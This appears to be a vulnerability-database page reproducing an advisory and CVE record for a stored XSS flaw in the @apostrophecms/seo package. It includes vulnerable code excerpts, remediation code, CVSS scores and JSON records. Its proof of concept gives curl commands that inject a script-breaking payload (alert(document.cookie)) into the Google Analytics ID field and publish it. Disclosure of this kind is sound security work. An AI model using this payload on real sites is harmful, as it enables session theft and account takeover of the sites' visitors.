Vulnerability-Lookup

GHSA-WF43-FPP3-CF65

Vulnerability from github – Published: 2026-07-31 21:53 – Updated: 2026-07-31 21:53

Summary

@apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag

Details

curl xss

Summary

The @apostrophecms/seo package injects the Google Analytics Tracking ID (seoGoogleTrackingId) and Google Tag Manager ID (seoGoogleTagManager) directly into <script> tag bodies using JavaScript template literals without any sanitization or validation.

Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site.

Details

The vulnerable code is in node_modules/@apostrophecms/seo/lib/nodes.js.

Google Analytics (lines 218–224):

// seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation
body: [ {
  raw: `
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());
  gtag('config', '${global.seoGoogleTrackingId}');
`
} ]

Google Tag Manager (lines 358–362):

body: [ {
  raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');`
} ]

These nodes are rendered by renderNodes() in ApostropheCMS core (modules/@apostrophecms/template/index.js lines 1176–1177):

if (node.raw != null) {
  return node.raw;  // returned verbatim, no escaping
}

The fields seoGoogleTrackingId and seoGoogleTagManager are defined as plain type: 'string' values with no pattern, minimum length, or maximum length validation in seo-fields-global/index.js lines 347–352.

ApostropheCMS's permission model (@apostrophecms/permission/index.js line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue.

PoC

Prerequisites: ApostropheCMS with @apostrophecms/seo installed and seoGoogleAnalytics: true enabled in module options. An editor-level account.

Step 1 — Login as editor

curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"editor","password":"password"}'

Response:

{"token":"YOUR_TOKEN"}

Step 2 — Get the global document ID

curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  http://TARGET/api/v1/@apostrophecms/global

Note the _id value ending in :en:draft.

Step 3 — Inject payload into Google Analytics ID

curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}'

Step 4 — Publish

curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \
  -H "Authorization: Bearer YOUR_TOKEN"

Step 5 — Visit any page

The injected payload appears in <head> and executes:

<script>
  gtag('config', 'G-FAKE'); alert(document.cookie); //');
</script>

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability.

Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site.

Impact includes:

Session token theft of all visitors, including other editors and administrators
Full account takeover via stolen administrator cookies
Malware distribution, phishing overlays, or credential harvesting targeting site visitors
Persistent compromise, as the payload remains active until manually removed

Remediation

Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies.

// Validate format before accepting
if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) {
  throw new Error('Invalid tracking ID format');
}

// Use safeJsonForScript instead of raw template literals
body: [ { json: global.seoGoogleTrackingId } ]

Or:

// Escape the value before insertion
raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});`

xss

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@apostrophecms/seo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T21:53:56Z",
    "nvd_published_at": "2026-06-12T22:16:52Z",
    "severity": "HIGH"
  },
  "details": "\u003cimg width=\"1919\" height=\"1046\" alt=\"curl\" src=\"https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6\" /\u003e\n\u003cimg width=\"1919\" height=\"775\" alt=\"xss\" src=\"https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d\" /\u003e\n\n### Summary\n\nThe `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `\u003cscript\u003e` tag bodies using JavaScript template literals without any sanitization or validation.\n\nAny user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site.\n\n### Details\n\nThe vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`.\n\n**Google Analytics (lines 218\u2013224):**\n\n```javascript\n// seoGoogleTrackingId is inserted RAW into a \u003cscript\u003e body \u2014 no escaping, no validation\nbody: [ {\n  raw: `\n  window.dataLayer = window.dataLayer || [];\n  function gtag(){dataLayer.push(arguments);}\n  gtag(\u0027js\u0027, new Date());\n  gtag(\u0027config\u0027, \u0027${global.seoGoogleTrackingId}\u0027);\n`\n} ]\n```\n\n**Google Tag Manager (lines 358\u2013362):**\n\n```javascript\nbody: [ {\n  raw: `(function(w,d,s,l,i){...})(window,document,\u0027script\u0027,\u0027dataLayer\u0027,\u0027${global.seoGoogleTagManager}\u0027);`\n} ]\n```\n\nThese nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176\u20131177):\n\n```javascript\nif (node.raw != null) {\n  return node.raw;  // returned verbatim, no escaping\n}\n```\n\nThe fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: \u0027string\u0027` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347\u2013352.\n\nApostropheCMS\u0027s permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue.\n\n### PoC\n\n**Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account.\n\n#### Step 1 \u2014 Login as editor\n\n```bash\ncurl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"editor\",\"password\":\"password\"}\u0027\n```\n\nResponse:\n\n```json\n{\"token\":\"YOUR_TOKEN\"}\n```\n\n#### Step 2 \u2014 Get the global document ID\n\n```bash\ncurl -s -H \"Authorization: Bearer YOUR_TOKEN\" \\\n  http://TARGET/api/v1/@apostrophecms/global\n```\n\nNote the `_id` value ending in `:en:draft`.\n\n#### Step 3 \u2014 Inject payload into Google Analytics ID\n\n```bash\ncurl -s -X PATCH \"http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Authorization: Bearer YOUR_TOKEN\" \\\n  -d \u0027{\"seoGoogleTrackingId\":\"G-FAKE\u0027\"\u0027\"\u0027); alert(document.cookie); //\"}\u0027\n```\n\n#### Step 4 \u2014 Publish\n\n```bash\ncurl -s -X POST \"http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish\" \\\n  -H \"Authorization: Bearer YOUR_TOKEN\"\n```\n\n#### Step 5 \u2014 Visit any page\n\nThe injected payload appears in `\u003chead\u003e` and executes:\n\n```html\n\u003cscript\u003e\n  gtag(\u0027config\u0027, \u0027G-FAKE\u0027); alert(document.cookie); //\u0027);\n\u003c/script\u003e\n```\n\n### Impact\n\nThis is a Stored Cross-Site Scripting (XSS) vulnerability.\n\nAny user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site.\n\nImpact includes:\n\n- Session token theft of all visitors, including other editors and administrators\n- Full account takeover via stolen administrator cookies\n- Malware distribution, phishing overlays, or credential harvesting targeting site visitors\n- Persistent compromise, as the payload remains active until manually removed\n\n### Remediation\n\nValidate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies.\n\n```javascript\n// Validate format before accepting\nif (value \u0026\u0026 !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) {\n  throw new Error(\u0027Invalid tracking ID format\u0027);\n}\n```\n\n```javascript\n// Use safeJsonForScript instead of raw template literals\nbody: [ { json: global.seoGoogleTrackingId } ]\n```\n\nOr:\n\n```javascript\n// Escape the value before insertion\nraw: `gtag(\u0027config\u0027, ${JSON.stringify(global.seoGoogleTrackingId)});`\n```\n\u003cimg width=\"1919\" height=\"775\" alt=\"xss\" src=\"https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8\" /\u003e",
  "id": "GHSA-wf43-fpp3-cf65",
  "modified": "2026-07-31T21:53:56Z",
  "published": "2026-07-31T21:53:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/pull/5464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag"
}

CVE-2026-53608 (GCVE-0-2026-53608)

Vulnerability from cvelistv5 – Published: 2026-06-12 20:57 – Updated: 2026-06-15 17:49

Title

@apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag

Summary

ApostropheCMS is an open-source Node.js content management system. Versions up to and including 1.4.2 of the `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. As of time of publication, no known patched versions are available.

Severity

8.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
apostrophecms	@apostrophecms/seo	Affected: <= 1.4.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-53608",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-15T17:49:32.431486Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-15T17:49:39.197Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "@apostrophecms/seo",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.4.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ApostropheCMS is an open-source Node.js content management system. Versions up to and including 1.4.2 of the `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `\u003cscript\u003e` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. As of time of publication, no known patched versions are available."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-12T20:57:48.913Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65"
        }
      ],
      "source": {
        "advisory": "GHSA-wf43-fpp3-cf65",
        "discovery": "UNKNOWN"
      },
      "title": "@apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-53608",
    "datePublished": "2026-06-12T20:57:48.913Z",
    "dateReserved": "2026-06-09T19:39:52.404Z",
    "dateUpdated": "2026-06-15T17:49:39.197Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-WF43-FPP3-CF65

Summary

Details

PoC

Step 1 — Login as editor

Step 2 — Get the global document ID

Step 3 — Inject payload into Google Analytics ID

Step 4 — Publish

Step 5 — Visit any page

Impact

Remediation

CVE-2026-53608 (GCVE-0-2026-53608)

Tags

Sightings

Nomenclature